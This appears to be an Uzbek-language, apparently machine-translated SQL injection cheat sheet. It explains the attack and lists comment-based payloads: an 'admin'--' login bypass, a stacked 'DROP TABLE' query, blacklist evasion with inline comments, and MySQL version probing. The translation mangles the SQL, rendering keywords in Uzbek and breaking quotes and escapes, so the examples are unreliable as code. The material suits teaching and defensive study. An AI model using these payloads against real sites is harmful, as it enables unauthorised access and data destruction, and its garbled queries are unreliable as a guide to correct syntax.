SQL inyeksiya nima?
SQL-Injection – bu ma’lumotlar bazasiga qilingan so’rovni qalbakilashtirish, ya’ni dasturchie’tiborsizligi natijasida kiritiluvchi ma’lumotlarni filtrlanmasligidan foydalanib, so’rovga o’zgartirish kiritish orqali serverdagi ma’lumotlar bazasiga yo’l topishdir va qo’shimcha qilib aytsak koderlarni birorbir skript yozishda yo'l qo'ygan xatolaridir. Bukichkinagina sql injection ya'ni inyeksiya orqali saytni odam ko'rib bo'lmaydigan axvolga solib tashlash mumkin. Ushbuxatodan foydalangan xolda ma'lumotlar bazasiga ba'zi bir buyruqlarni berish mumkin. Mashxur skriptlar baza bilan ishlahi va barcha ma'lumotlar bazaga yozilishini hisobga olsak agar ushbu xatodan foydalansa u sayt ishdan chiqadi.
1.2 SQL inyeksiya turlari
Ishlatilgan qayd:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (ehtimol boshqa ma'lumotlar bazalarida);
* (maxsus shartlar talab qilinadi).
1. Chiziq sharhlar
Sharhlar odatda so'rov qismlarini e'tiborsiz qoldirish uchun foydalidir.
Sintaksis:
- (SM): DROP namunasi; -
# (M): DROP namunasi;
Misol:
Foydalanuvchi nomi: admin "-
Yaratilgan so'rov: SELECT * FROM a'zolari qaerda foydalanuvchi nomi \u003d "admin" - "VA parol \u003d" parol "
Bu parolni tekshirishga e'tibor bermasdan, administrator sifatida kirishga imkon beradi.
2. Sharhlarni blokirovka qiling
Ularning yordami bilan siz so'rovning bir qismini e'tiborsiz qoldirishingiz, bo'sh joylarni almashtirishingiz, qora ro'yxatlarni chetlab o'tishingiz, ma'lumotlar bazasi versiyasini aniqlab olishingiz mumkin.
Sintaksis:
/ * Izoh * / (SM):
DROP / * sharh * / namuna
DR / ** / OP / * bypass_black_list * / namuna
SELECT / * bo'sh joy almashtirish * / parol / ** / FROM / ** / a'zolar
/ *! MYSQL Maxsus SQL * / (M): SELECT / *! 32302 1/0, * / 1 FROM tablename
Bu MySQL uchun maxsus sharh sintaksisi. Bu MySQL-ning versiyasini topishga imkon beradi. Ushbu sharh faqat MySQL-da ishlaydi
Misollar:
ID: 10; DROP TABLE a'zolari / *
Qolgan so'rovlarni, shuningdek, izohlarni e'tiborsiz qoldiring.
ID: / *! 32302 10 * /
agar MySQL versiyasi 3.23.02 dan yuqori bo'lsa, siz ID \u003d 10 bilan bir xil javob olasiz
ID: / *! 32302 1/0, * /
Yaratilgan so'rov: SELECT / *! 32302 1/0, * / 1 FROM tablename
Agar serverda MySQL versiyasi 3.23.02 dan yuqori bo'lsa, 0 ga bo'linishda xatolik yuz beradi
Do'stlaringiz bilan baham: |